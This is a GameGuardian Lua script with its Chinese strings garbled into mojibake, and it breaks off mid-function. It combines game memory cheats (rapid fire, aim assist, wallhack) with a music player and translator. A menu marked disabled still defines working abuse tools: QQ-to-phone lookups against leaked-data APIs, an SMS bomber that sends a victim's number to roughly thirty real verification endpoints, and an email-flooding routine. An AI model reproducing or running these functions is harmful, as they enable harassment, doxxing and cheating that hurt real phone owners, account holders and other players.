gg.toast(so({"æ–¹å�—å†…ç”Ÿç‰©","3400~4622",4,64},{{1084920320,20,4}},{{xgdm,0,64}}))gg.toast("ä¿®æ”¹ç”Ÿç‰©å¼€å�¯æˆ�åŠŸ")end



function XCP29()
gg.toast(so({"ä¸‡ç‚®é½�å�‘",12284,4},{{12285,0xB0,4},{12284,-4,4}},{{1065353216,0x138,4},{999,0xB4,4,1}}))gg.toast(so({"ä¸‡ç‚®é½�å�‘",-1593466806,4,2},{{759648338,-176,4}},{{-19417700690,2,2}}))gg.toast("ä¸‡ç‚®é½�å�‘å¼€å�¯æˆ�åŠŸ")end



function Main4()
SN = gg.multiChoice({
   "à¼ºà½Œà¼€â›¦à¿ˆç‹™å‡»æ�ªè¿�å�‘à¿ˆâ›¦à¼€à½‘à¼»",
   "à¼ºà½Œà¼€â›¦à¿ˆç‹™å‡»å‡†æ˜Ÿà¿ˆâ›¦à¼€à½‘à¼»",
   "à¼ºà½Œà¼€â›¦à¿ˆä¸‰è§’é€�è§†à¿ˆâ›¦à¼€à½‘à¼»",
   "à¼ºà½Œà¼€â›¦à¿ˆç‹™å‡»ç§’æ�¢å¼¹à¿ˆâ›¦à¼€à½‘à¼»",
   "à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",
 }, nil, "à¼ºà½Œà¼€â›¦à¿ˆæœ‰æœ�ä¸€æ—¥è™�å½’å±±å®šè¦�è¡€æŸ“å�Šè¾¹å¤©æœ‰æœ�ä¸€æ—¥é¾™å¾—æ°´å®šè¦�é•¿æ±Ÿæ°´å€’æµ�à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�")

if SN == nil then else
if SN[1]==true then     XGG1() end
if SN[2]==true then     XGG2() end
if SN[3]==true then     XGG3() end
if SN[4]==true then     XGG4() end
if SN[5]==true then     Main() end
end
FX=0 end

function XGG1()
gg.toast(so({("å…¨æ�ªé˜²æŠ–è¿�å�‘"),15003,4,2,2},{{("15000~15009"),-136}},{{1,-4},{0,-66},{0,-56,16},{0,-40},{1,-28},{0,-52,16},{32000,-0x3e}}))
end

function XGG2()
F = gg.alert("ç‹™å‡»å‡†å¿ƒ","å¼€","å…³")if F~=1 and F~=2 then else end if F== 1 then gg.toast(so({"ç‹™å‡»å‡†æ˜Ÿ",15003,4,4},{{40,-32,4}},{{1,-28,4}}))gg.toast("ç‹™å‡»å‡†æ˜Ÿå¼€å�¯æˆ�åŠŸ")elseif  F== 2 then gg.toast(so({"ç‹™å‡»å‡†æ˜Ÿ",15003,4,4},{{40,-32,4}},{{0,-28,4}}))gg.toast("ç‹™å‡»å‡†æ˜Ÿå…³é—­æˆ�åŠŸ")end end



function XGG3()
gg.toast("è¯·é€‰æ‹©å¼€å…³")
F=gg.alert("è¯·é€‰æ‹©ï½›å¼€ å…³ï½�", "å¼€", "ï¸�å…³ï¸�ï¸�")
if F ~= 1 and F ~= 2 then
gg.toast("ä½ æœªé€‰æ‹©å¼€å…³é»˜è®¤å�–æ¶ˆ")
gg.toast("ä½ æœªé€‰æ‹©ï½›å¼€ å…³ï½�")
else
end
if F==1 then
qmnb={
{["memory"]=16384.},
{["name"]="ä¸‰è§’é€�è§†"},
{["value"]=196608,["type"]=4},
{["lv"]=65538,["offset"]=8,["type"]=4},
}
qmxg={
{["value"]=1,["offset"]=16,["type"]=4}
}
xqmnb(qmnb)
elseif F==2 then
qmnb={
{["memory"]=16384.},
{["name"]="ä¸‰è§’é€�è§†"},
{["value"]=196608,["type"]=4},
{["lv"]=65538,["offset"]=8,["type"]=4},
}
qmxg={
{["value"]=65536,["offset"]=16,["type"]=4}
}
xqmnb(qmnb)
end
end

function XGG4()
so({'ä¸€ç§’æ�¢å¼¹',15003,4,4},{{15004,-136,4}},{{0,-24,16}})
end








function Main5()
SN = gg.choice({
"ï¸�à¼ºà½Œà¼€â›¦à¿ˆæ�œç´¢æ­Œæ›²à¿ˆâ›¦à¼€à½‘à¼»",--1
"à¼ºà½Œà¼€â›¦à¿ˆæ�œç´¢åˆ—è¡¨à¿ˆâ›¦à¼€à½‘à¼»",--2
"à¼ºà½Œà¼€â›¦à¿ˆæ’­æ”¾çƒ­æ­Œà¿ˆâ›¦à¼€à½‘à¼»ï¸�",--3
"à¼ºà½Œà¼€â›¦à¿ˆå�œæ­¢æ’­æ”¾à¿ˆâ›¦à¼€à½‘à¼»",--4
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾ä½ çœ‹åˆ°çš„æˆ‘à¿ˆâ›¦à¼€à½‘à¼»",--5
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾é¸¡ä½ å¤ªç¾�à¿ˆâ›¦à¼€à½‘à¼»",--6
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾æœ¨æ¡¶æ±‚ä½›à¿ˆâ›¦à¼€à½‘à¼»",--7
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾å�Šç”Ÿé›ªà¿ˆâ›¦à¼€à½‘à¼»",--8
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾å‡ºå±±à¿ˆâ›¦à¼€à½‘à¼»",--9
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾æ­¤ç”Ÿè¿‡å�Šà¿ˆâ›¦à¼€à½‘à¼»",--10
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾å­¤åŸ�à¿ˆâ›¦à¼€à½‘à¼»",--11
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾ç½—æ›¼å¸�å…‹çš„çˆ±æƒ…à¿ˆâ›¦à¼€à½‘à¼»",--12
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾ç‰µä¸�å„¿æˆ�à¿ˆâ›¦à¼€à½‘à¼»",--13
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾çƒ§é…’æ­Œà¿ˆâ›¦à¼€à½‘à¼»",--14
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾ä¸€å•¸å¤©è�’à¿ˆâ›¦à¼€à½‘à¼»",--15
"à¼ºà½Œà¼€â›¦à¿ˆå¿«æ”¾æ¨±èŠ±æ ‘ä¸‹çš„çº¦å®šà¿ˆâ›¦à¼€à½‘à¼»",--16
   "ï¸�à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»ï¸�",--17
},2018,os.date("à¼ºà½Œà¼€â›¦à¿ˆæ˜Ÿæ²³ä¹‹ç’€ç²²æ˜¯æˆ‘ä»¬å�‘æƒ³è±¡çš„à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�"))
if SN==1 then s1() end
if SN==2 then Play(gqlb,idb) end
if SN==3 then YY998() end
if SN==4 then stop() end
if SN==5 then XGW1() end
if SN==6 then XGW2() end
if SN==7 then XGW3() end
if SN==8 then XGW4() end
if SN==9 then XGW5() end
if SN==10 then XGW6() end
if SN==11 then XGW7() end
if SN==12 then XGW9() end
if SN==13 then XGW10() end
if SN==14 then XGW11() end
if SN==15 then XGW12() end
if SN==16 then XGW13() end
if SN==17 then Main() end
XGCK=-7
end


local g = {}
g.file = gg.getFile()
g.sel = nil
gqlb={"è¯·å…ˆæ�œç´¢æ­Œæ›²",}
idb={"1010"}
SN,gc=1,nil
g.config = gg.getFile():gsub("%lua$", "").."cfg"
function bei()
g.data = loadfile(g.config)
if g.data ~= nil then
g.sel = g.data()
g.data = nil
end
if g.sel == nil then
g.sel = {"ä½ çœ‹åˆ°çš„æˆ‘","10"}
end
end
bei()
------
--æ�œç´¢æ­Œæ›²
function start(name,sl)
fw=gg.makeRequest("http://music.163.com/api/search/get?s="..name.."&type=1&offset=0&total=true&limit="..sl)
return fw
end
-----
--æ­Œè¯�

--æ’­æ”¾éŸ³ä¹�
function play(id,name)
gg.toast("æ­£åœ¨æ’­æ”¾éŸ³ä¹�ï¼š"..name,true)
gg.playMusic("http://music.163.com/song/media/outer/url?id="..id..".mp3")
end
--å�œæ­¢æ’­æ”¾
function stop()
gg.toast("æ­£åœ¨å�œæ­¢éŸ³ä¹�")
for i=1,100 do
gg.playMusic("stop")
gg.playMusic("stop")
gg.playMusic("stop")
end
end
----
function Play(gqlb,idb)
SN = gg.choice(gqlb,nil,ts)
if SN == nil then XGCK =-1 else
sn=gg.choice({"æ’­æ”¾"},nil,"æ­Œæ›²ï¼š"..gqlb[SN])
if sn == nil then end
if sn == 1 then
play(idb[SN],gqlb[SN])
end
XGCK=-1
end
end
function zjson(jsonr)
local str = jsonr
-- åŒ¹é…�Json Keyçš„æ­£åˆ™è¡¨è¾¾å¼�
local pattern = "\"[%w]+\":"
string.gsub(str, pattern, function(v)
    if string.find(str, v) then
        str = string.gsub(str, v, string.gsub(v, "\"", ""))
    end
end)
str = string.gsub(str, ":", "=")
str = string.gsub(str, "%[", "{")
str = string.gsub(str, "%]", "}")
local data = "return " .. str
local res = load(data)()
return res
end


function json(con)
res=zjson(con)
zd=res.result.songCount
pd=go3-zd
if pd <= 0 then else go3=zd end
ts="ã€Š"..go1.."ã€‹æ‰¾åˆ°"..zd.."é¦–æ­Œæ›²ï¼Œå½“å‰�æ˜¾ç¤º"..go3.."é¦–"
gqlb={}
idb={}
for i=1,go3 do
gqlb[i]=res.result.songs[i].name
idb[i]=res.result.songs[i].id
end
--print(idb)
end
function YY998() Obtain=gg.makeRequest("https://api.uomg.com/api/rand.music?sort=çƒ­æ­Œæ¦œ&format=json").content muchen=Obtain:match('url":"(.-)","picurl') gg.playMusic(muchen) end 



function s1()
search = gg.prompt({
"è¾“å…¥æ­Œæ›²å��å­—",
"è®¾ç½®æ˜¾ç¤ºæ•°é‡�(æ•°å­—)",
},g.sel,{
"text",
})
if search == nil then Main6() end
gg.saveVariable(search,g.config)
bei()
go1=search[1]
go3=search[2]
jg=start(go1,go3)
if jg.code == 200 then
fh=jg.content
fh=json(fh)
--print(fh)
Play(gqlb,idb)
else
function inspect()
gg.alert("è®¿é—®ç½‘ç»œå¼‚å¸¸ï¼Œé”™è¯¯ä»£ç �ï¼š\n\n"..jg.code)
end
if not pcall(inspect) then print("ç½‘ç»œå¼‚å¸¸ï¼Œè¯·å…ˆè¿�æ�¥ä¸Šç½‘ç»œ") os.exit() end
end
XGCK=-1
end





function XGW1()
gg.playMusic("http://chuxinya.top/view.php/c3cee8b1eb5f0be369632d0170c66b07.mp3")
end



function XGW2()
gg.playMusic("https://pan.tenire.com/view.php/1e02c50e27f733f32814e6a14e6864cd.mp3")
end



function XGW3()
gg.playMusic("https://out.zxglife.top/view.php/30ec42595036a7d3fe434c21f5daff58.mp3")
end



function XGW4()
gg.playMusic("http://chuxinya.top/view.php/e838ec97b66c2a963c58e229214f08f1.mp3")
end



function XGW5()
gg.playMusic("http://chuxinya.top/view.php/cdd3e0511fa78035ea55b6aee0c1dd2d.mp3")
end



function XGW6()
gg.playMusic("http://chuxinya.top/view.php/becca4de23577aa40c4703e601d70093.mp3")
end



function XGW7()
gg.playMusic("http://chuxinya.top/view.php/33f7db14865bb935089f03001a13b5e7.mp3")
end



function XGW8()
gg.playMusic("http://chuxinya.top/view.php/d40077670337f4f7816689b8e9a56353.mp3")
end



function XGW9()
gg.playMusic("http://chuxinya.top/view.php/56ffe10ac928d485c49b36551620f170.mp3")
end



function XGW10()
gg.playMusic("http://chuxinya.top/view.php/52f64b596c1283fdb39f565cf9fac54b.mp3")
end



function XGW11()
gg.playMusic("http://chuxinya.top/view.php/0c58f726a1a3ea7aa433bc9e2245d59f.mp3")
end



function XGW12()
gg.playMusic("http://chuxinya.top/view.php/a2f6acc453bf0e1b42f6945c4c23ef68.mp3")
end









function Main6() 
SN = gg.multiChoice({
"à¼ºà½Œà¼€â›¦à¿ˆè¯­è¨€ç¿»è¯‘à¿ˆâ›¦à¼€à½‘à¼»",--1
"à¼ºà½Œà¼€â›¦à¿ˆä¿¡æ�¯æ³„éœ²æŸ¥è¯¢[ç¦�ç”¨]à¿ˆâ›¦à¼€à½‘à¼»",--2
"à¼ºà½Œà¼€â›¦à¿ˆç”Ÿæ´»åŠ©æ‰‹à¿ˆâ›¦à¼€à½‘à¼»",--3
"à¼ºà½Œà¼€â›¦à¿ˆå�–æ¶ˆèº«ä»½è¯�/æˆ¿é—´é»‘å��å�•à¿ˆâ›¦à¼€à½‘à¼»",--4
"à¼ºà½Œà¼€â›¦à¿ˆç‰©å“�å¤�åˆ»à¿ˆâ›¦à¼€à½‘à¼»",--5
"à¼ºà½Œà¼€â›¦à¿ˆè¿” å›� ä¸» é¡µà¿ˆâ›¦à¼€à½‘à¼»",--6
}, nil, "à¼ºà½Œà¼€â›¦à¿ˆæ—¥è�½å†�ç¾�ï¼Œä¹Ÿå�ªæ˜¯é‚£ä¸€ç�¬é—´à¿ˆâ›¦à¼€à½‘à¼»ï¸�ï¸�ï¸�")

if SN == nil then else
if SN[1]==true then     QTGN1() end
if SN[2]==true then     gg.alert([[ä½ TMçœ‹ä¸�åˆ°ç¦�ç”¨ä¸¤ä¸ªå­—å¯¹å�§?]]) Main()end--QTGN2() end
if SN[3]==true then     QTGN3() end
if SN[4]==true then     QTGN4() end
if SN[5]==true then     QTGN5() end
if SN[6]==true then     Main() end
end
FX=0 end


function QTGN1()
to1="å†…å®¹ä¸ºç©º"
to2="æ— æ•ˆç¿»è¯‘æ¨¡å¼�"
ms1="è‹±è½¬ä¸­"
ms2="æ—¥è½¬ä¸­"
ms3="éŸ©è½¬ä¸­"
ms4="æ³•è½¬ä¸­"
ms5="é¥¿è½¬ä¸­"
ms6="è¥¿ç�­ç‰™è½¬ä¸­"
gg.alert("ç®€æ˜“ç¿»è¯‘\n\n1ä¸ºè‹±è½¬ä¸­\n\n2ä¸ºæ—¥è½¬ä¸­\n\n........")
XGCK=-1
  Loikey= gg.prompt({
  'è¯·è¾“å…¥ç¿»è¯‘å†…å®¹ï¼š',
    'è¯·è¾“å…¥ç¿»è¯‘æ¨¡å¼�ï¼š',
 }, {   
[1]="",
[2]="",
}, {"text", "text"})
nr=Loikey[1] 
ms=Loikey[2] 
if nr== "" then
gg.toast(to1)
print(to1)
return
elseif ms=="" then
gg.toast(to2)
print(to2)
return
elseif ms==ms1 or "1" then
gg.toast("ç¿»è¯‘æ¨¡å¼�:"..ms1)
lx="EN2ZH_CN"
elseif ms==ms2 or "2" then
gg.toast("ç¿»è¯‘æ¨¡å¼�:æ—¥è½¬ä¸­")
lx="JA2ZH_CN"
elseif ms== ms3 or "3" then
gg.toast("ç¿»è¯‘æ¨¡å¼�:éŸ©è½¬ä¸­")
lx="KR2ZH_CN"
elseif ms==ms4 or "4" then
gg.toast("ç¿»è¯‘æ¨¡å¼�:æ³•è½¬ä¸­")
lx="FR2ZH_CN"
elseif ms==ms5 or "5" then
gg.toast("ç¿»è¯‘æ¨¡å¼�:ä¿„è½¬ä¸­")
lx="RU2ZH_CN"
elseif ms==ms5 or "6" then
gg.toast("ç¿»è¯‘æ¨¡å¼�:è¥¿ç�­ç‰™è½¬ä¸­")
lx="SP2ZH_CN"
else
return
end
url='http://m.youdao.com/translate'
post="inputtext=0"..nr.."&type="..lx
lw1=gg.makeRequest(url, nil, post).content
hood = lw1:match("<li>0(.-)</li>")
gg.alert("è¯‘æ–‡:\n"..hood)
gg.copyText(hood, true)
end


------------------------------------------------------------------------------------------



function QTGN2()
 SN = gg.choice({
"à¼ºà½Œà¼€â›¦à¿ˆæŸ¥QQç»‘å®šà¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ‰‹æœºå�·å��æŸ¥à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè½°ç‚¸æ‰‹æœºå�·à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè½°ç‚¸QQé‚®ç®±à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆæ‰‹æœºå�·å½’å±�ä¿¡æ�¯à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè�·å�–QQå¤´åƒ�à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆOPPOå°�å¸ƒåŠ©æ‰‹à¿ˆâ›¦à¼€à½‘à¼»",
"à¼ºà½Œà¼€â›¦à¿ˆè¿”å›�ä¸»é¡µà¿ˆâ›¦à¼€à½‘à¼»",
}, nil, "æˆ‘åœ¨äººæµ�ä¸­å°†çˆ±æ„�éš�æ™¦ï¼Œå�¯æ˜¯äººæµ�å¤ªæ€¥ï¼Œä¸–ä¿—å¤ªè„�ï¼Œæˆ‘çš„çˆ±æ„�ä¸�çº¯äº†ï¼Œé…�ä¸�ä¸Šæˆ‘çš„ç¥�æ˜�")
if SN == 1 then ls1() end
if SN == 2 then ls2() end
if SN == 3 then ls3() end
if SN == 4 then ls4() end
if SN == 5 then ls5() end
if SN == 6 then ls6() end
if SN == 7 then ls7() end
if SN == 8 then Main() end
GLWW=-1
end

function ls1()
    local musu=gg.prompt({"ğŸ�³è¾“å…¥QQå�·å�³å�¯æŸ¥è¯¢ğŸ�³","ğŸ�³ç½‘å�€1ğŸ�³","ğŸ”°ç½‘å�€2ğŸ”°"
    },{
      [1]="",
      [2]=true,
      [3]=false
    },{
      "number",
      "checkbox",
      "checkbox"
    })
    if not musu then
      return nil
     else
      if musu[2]==true and musu[3]==true then
        gg.alert('ğŸ‘¹ä¸¤ä¸ªç½‘å�€ï¼Œå�ªèƒ½é€‰æ‹©ä¸€ä¸ª')
        return nil
      end
      if musu[2]==true then
        gg.toast("â™‹æŸ¥è¯¢ing...",false)
        local xg=gg.makeRequest("http://yc52.net/qb-api.php?mod=cha&qq="..musu[1]).content
        if not xg then
          gg.alert('ğŸ”°ä½ å·²æ‹’ç»�ç½‘ç»œç”³è¯·ï¼ŒæŸ¥è¯¢å¤±è´¥ğŸ”°ï¸�')
          return
        end
        local jg=xg:match('mobile": "(.-)"')
        local qq=xg:match('"qq": "(.-)"')
        if jg==nil then
          gg.alert('ğŸ�³æœªæŸ¥è¯¢åˆ°â€¦åº“ä¸­å¹¶æ²¡æœ‰è¿™ä¸ªè®°å½•ğŸ�³ï¸�','ğŸ‘¹ç¡®å®šğŸ‘¹')
          return nil
        end
        local yue=gg.alert('ğŸ’�ï¼±ï¼±å�·:'..qq..'\n\nğŸ’�æ‰‹æœºå�·:'..jg,'ğŸ�€å¤�åˆ¶','ğŸ”±å�–æ¶ˆ')
        if yue==1 then
          gg.copyText('[ï¼±ï¼±å�·]:'..qq..' \n[æ‰‹æœºå�·]:'..jg,false)
        end
        if yue==2 then
          return nil
        end
      end
    end
    if musu[3]==true then
      gg.toast("â™‹ï¸�æŸ¥è¯¢ing...",false)
      local xg2=gg.makeRequest("http://cxx.yun7.me/qqcx?qq="..musu[1]).content
      if not xg2 then
        gg.alert('ğŸ”°ä½ å·²æ‹’ç»�ç½‘ç»œç”³è¯·ï¼ŒæŸ¥è¯¢å¤±è´¥ğŸ”°')
        return
      end
      --    status":200,"message":"æŸ¥è¯¢æˆ�åŠŸ","phone":"669","phonediqu":"æ²³åŒ—ä¿�å®š ç§»åŠ¨","lol":"æ²¡æœ‰æ‰¾åˆ°","wb":"6134218","qqlm":"æ²¡æœ‰æ‰¾åˆ°"}

      local jg2=xg2:match('phone":"(.-)"')--æ‰‹æœºå�·
      local qq1=xg2:match('phonediqu":"(.-)"')--å�·ç �å½’å±�åœ°
      local qq2=xg2:match('lol":"(.-)"')--LOLä¿¡æ�¯
      local qq3=xg2:match('wb":"(.-)"')--å¾®å�šä¿¡æ�¯
      if jg2==nil then
        gg.alert('ğŸ�³æœªæŸ¥è¯¢åˆ°â€¦åº“ä¸­å¹¶æ²¡æœ‰è¿™ä¸ªè®°å½•ğŸ�³','ğŸ�³ç¡®å®šğŸ�³')
        return nil
      end
      local yue=gg.alert('ğŸ�€ï¼±ï¼±å�·:'..musu[1]..'\n\nğŸ�€æ‰‹æœºå�·:'..jg2..'\n\nğŸ�€å�·ç �å½’å±�åœ°:'..qq1..'\n\nğŸ�€LOLä¿¡æ�¯:'..qq2..'\n\nğŸ�€å¾®å�šUID'..qq3,'ğŸ�€å¤�åˆ¶','ğŸ�€å�–æ¶ˆ')
      if yue==1 then
        gg.copyText('ï¼±ï¼±å�·:'..musu[1]..' \n æ‰‹æœºå�·:'..jg2..'  \nå�·ç �å½’å±�åœ°:'..qq1..' \n LOLä¿¡æ�¯:'..qq2..'  \nå¾®å�šUID:'..qq3,false)
      end
      if yue==2 then
        return nil
      end
    end
end

function ls2()
    local musu=gg.prompt({"ğŸ�³è¾“å…¥æ‰‹æœºå�·å�³å�¯å��æŸ¥ğŸ�³"
    },{
      [1]=""
    },{
      "number"
    })
    if not musu then
      return nil
     else
      gg.toast("â™‹ï¸�æŸ¥è¯¢ing...",false)
      local xg=gg.makeRequest("http://cxx.yun7.me/qqxc?phone="..musu[1]).content
      if not xg then
        gg.alert('ğŸ‘¹ä½ å·²æ‹’ç»�ç½‘ç»œç”³è¯·ï¼ŒæŸ¥è¯¢å¤±è´¥ğŸ‘¹')
        return
      end
      ---     {"status":200,"message":"æŸ¥è¯¢æˆ�åŠŸ","qq":"(.-)","phonediqu":"(.-)","lol":"(.-)",","qqlm":"æ²¡æœ‰æ‰¾åˆ°"}
      local jg=xg:match('qq":"(.-)"')--qqå�·
      local qq=xg:match('phonediqu":"(.-)"')--å�·ç �å½’å±�åœ°
      local qq1=xg:match('lol":"(.-)"')--LOLä¿¡æ�¯
      local qq2=xg:match('wb":"(.-)"')--å¾®å�š
      if jg==nil then
        gg.alert('ğŸ�³æœªæŸ¥è¯¢åˆ°â€¦åº“ä¸­å¹¶æ²¡æœ‰è¿™ä¸ªè®°å½•ğŸ�³','ğŸ‘¹ç¡®å®š')
        return nil
      end
      local yue=gg.alert('ğŸ�€ï¼±ï¼±å�·:'..jg..'\n\nğŸ�€å�·ç �å½’å±�åœ°:'..qq..'\n\nğŸ�€LOLä¿¡æ�¯:'..qq1..'\n\nğŸ�€å¾®å�šUID'..qq2,'ğŸ�€å¤�åˆ¶','ğŸ�€å�–æ¶ˆ')
      if yue==1 then
        gg.copyText('ï¼±ï¼±å�·:'..jg..' \n å�·ç �å½’å±�åœ°:'..qq..' \n LOLä¿¡æ�¯:'..qq1..' \nå¾®å�šUID'..qq2,false)
      end
      if yue==2 then
        return nil
      end
    end
end

function ls3()
local A=gg.prompt({"ğŸ‘¹è¾“å…¥æ‚¨è¦�è½°ç‚¸çš„ç”µè¯�å�·ç �ğŸ‘¹"},{""},{"number"})
    if not A then
      return nil
     else
local B=A[1]
local C=gg.makeRequest("http://211.156.201.12:8088/youzheng//ems/security?phone="..B.."").content
local C=gg.makeRequest("http://id.ifeng.com/api/simplesendmsg?mobile="..B.."&comefrom=7&auth=&msgtype=0").content
local C=gg.makeRequest("http://srmemberapp.srgow.com/sys/captcha/"..B.."").content
local C=gg.makeRequest("https://m.icbc.com.cn/WapDynamicSite/TouchPage/AppDownResponse.aspx?type=1&app_id=5&mobile_no="..B.."").content
local C=gg.makeRequest("https://kfsbusiness.anjuke.com/weiliaoke/login/sendcode.json?ticket=&cid=&cv=5.6.0&app=i-ajk&udid2=85C1EEA5-6E6A-449B-BD5C-118EA0DFDDBB&phone="..B.."").content
local C=gg.makeRequest("http://api.qingmang.me/v1/account.sendVerification?platform=console&token=&phone=%2B86"..B.."&code=10164337").content
local C=gg.makeRequest("https://api.kqiu.cn/user/v1/sms/code?phoneNumber="..B.."").content
local C=gg.makeRequest("http://prod.layadmin.cn/api/message/sendV2?app_id=1&version=1.4.0&channel_id=001&phone="..B.."").content
local C=gg.makeRequest("http://121.36.193.131/api/v3.1/thirdpartyapi/aliyunmessageapi/SendVerifyMessage?phoneNumber=86"..B.."&type=1").content
local C=gg.makeRequest("https://api.diebian.net/Get/GetVerificationSMS?PhoneNumber="..B.."").content
local C=gg.makeRequest("https://tele.uos123.com/api/orders/orders/sendDxSmsCode?mobile="..B.."").content
local C=gg.makeRequest("https://www.qxueyou.com/v3/learning/uc/login/mobile/captcha?mobilePhone="..B.."&product=qxueyou").content
local C=gg.makeRequest("http://www.gkbbapp.com/Support/JsonNews.aspx?sendShortMessage=yes&Telephone="..B.."").content
local C=gg.makeRequest("https://www.ajia.cn/api/sys/sendCaptchaNoUser?accountName="..B.."").content
local C=gg.makeRequest("https://yi.yshoufa.com/usersystem/site/network/getNetworkPhoneCaptcha?phone="..B.."&networkId=").content
local C=gg.makeRequest("http://dx.zy40.cn/dx/index.php?hm="..B.."").content
local C=gg.makeRequest("http://www.edu-edu.com/cas/web/message/send?phone="..B.."").content
local C=gg.makeRequest("http://id.ifeng.com/api/simplesendmsg?mobile="..B.."").content
local C=gg.makeRequest("http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile="..B.."").content
local C=gg.makeRequest("https://pass.hujiang.com/v2/api/v1/sms/send?action=SendMsg&mobile="..B.."").content
local C=gg.makeRequest("http://m.tk.cn/tkmobile/orderSentSmsServlet?mobile="..B.."&comefrom=7&auth=&msgtype=0").content
local C=gg.makeRequest("https://api.wanwudezhi.com/module-user/api/v1/user/sendSmsCode?phone="..B.."").content
local C=gg.makeRequest("https://sso-c.souche.com/loginApi/getCaptchaUrlByPhone.json?app=tangeche&phone="..B.."").content
local C=gg.makeRequest("http://api.qingmang.me/v1/account.sendVerification?code=1566478386.8872059778&phone="..B.."").content
local C=gg.makeRequest("http://user.daojia.com/mobile/getcode?mobile="..B.."").content
local C=gg.makeRequest("https://m.yiwise.com/apiPlatform/verificationCode/send?phoneNumber="..B.."").content
local C=gg.makeRequest("http://slb-sport.vesal.cn/vesal-sport-prod/v1/app/member/getCode?tellAndEmail="..B.."").content
local C=gg.makeRequest("http://cms.51fenmi.com/api/base/public/getCode?mobile="..B.."").content
local C=gg.makeRequest("http://www.52gcc.com/bomb/index.php?hm="..B.."").content
end
end

function ls4()
  local Feed=gg.prompt({"ğŸ‘�â€�ğŸ—¨ï¸�æ”¶ä»¶äººåœ°å�€(é‚®ç®±)ğŸ‘�â€�ğŸ—¨ï¸�","ğŸ§¿é‚®ç®±ä¸»é¢˜ğŸ§¿","ğŸ�³å�‘ä»¶å†…å®¹ğŸ�³","ğŸ‘¹è½°ç‚¸æ¬¡æ•°ğŸ‘¹"},{"192898257@qq.com","åŠ³èµ„å°±è½°ç‚¸ä½ ","åŠ³èµ„å°±è½°ç‚¸ä½ ","1"},{"text","text","text","text"})
  if not Feed then gg.toast("ğŸ”°å�–æ¶ˆå�‘é€�ï¼�ğŸ”°",true)
    return nil
  end
  if Feed[1]~="" and Feed[2]~="" and Feed[3]~="" and Feed[4]~="" then
    gg.toast("ğŸ—½å�‘é€�ä¸­ing...",true)
    for i=1,Feed[4] do
      xg=gg.makeRequest("https://simpleauth.cn/api/mail/api.php?address="..Feed[1].."&name="..Feed[2]..i.."&certno="..Feed[3]..i).content
    end
    if not xg then
      gg.alert("ğŸ‘¹å�‘é€�å¤±è´¥ï¼�ğŸ‘¹ï¸�",'ğŸ”°ç¡®å®šğŸ”°')
    end
    local jg=xg:match('"Code":"(.-)",')
    local jg2=xg:match('msg":"(.-)"')
    if jg =="1" then
      gg.alert(jg2,'â˜˜ï¸�ç¡®å®šğŸ�€')
     else
      gg.alert("ğŸ‘¹å�‘é€�å¤±è´¥ï¼�ğŸ‘¹",'ğŸ�€ç¡®å®šğŸ�€')
      return nil
    end
   else
    gg.alert("ğŸ�³å¡«å†™ä¿¡æ�¯ä¸�å®Œæ•´ï¼�ğŸ�³","ğŸ�€ç¡®å®šğŸ�€")
    return nil
  end
end

function ls5()
sjh=gg.prompt({"ğŸ�³è¾“å…¥æ‰‹æœºå�·å�³å�¯æŸ¥è¯¢ğŸ�³"},{[1]=""},{"number"})
if sjh== nil then gg.toast("ğŸ”°å�–æ¶ˆé€‰æ‹©é»˜è®¤åˆ�å§‹åŒ–ğŸ”°")
else
gg.toast("ğŸ‘�â€�ğŸ—¨æ­£åœ¨æŸ¥è¯¢ğŸ‘�â€�ğŸ—¨")
su1=gg.makeRequest("https://www.ip138.com/mobile.asp?mobile="..sjh[1].."&action=mobile").content:match("å�¡å�·å½’å±�åœ°(.-)é‚® ç¼–")
dq=su1:match('span>(.-)&')--åœ°åŒº
dq1=su1:match(';(.-)<')--åœ°åŒº2
GSM=su1:match('å�‹(.-)/s'):match("pan>(.-)<")
su2=gg.makeRequest("https://jx.ip138.com/"..sjh[1].."/").content--å‡¶å�‰
b=su2:match('é‚®æ”¿ç¼–ç �ï¼š(.-)</tr>')
yb=b:match('<p>(.-)</p')--é‚®ç¼–
qh=b:match('ç”µè¯�åŒºå�·ï¼š</p></td>(.-)/td>'):match('>(.-)<')--åŒºå�·
xj=su2:match('red">(.-)href'):match("a>(.-)<")--å‡¶å�‰
QQ=("æ‰‹æœºå�·:\n"..sjh[1].."\nå‡¶å�‰:"..xj.."\n"..GSM.."\nå®šä½�:\n"..dq..dq1.."\né‚®ç¼–:"..yb.."\nåŒºå�·:"..qh)
QQ1=gg.alert(QQ,"ğŸ�³å¤�åˆ¶ğŸ�³","ğŸ‘¹è¿”å›�ğŸ‘¹")
if QQ1==0 then Main0() end
if QQ1==1 then gg.copyText(QQ) gg.toast("ğŸ�€å·²å¤�åˆ¶ğŸ�€") end
if QQ1==3 then Main0() end
end
end


function ls6()
y=gg.prompt({"ğŸ�³è¯·è¾“å…¥qqå�·ğŸ�³"},{},{"number"})
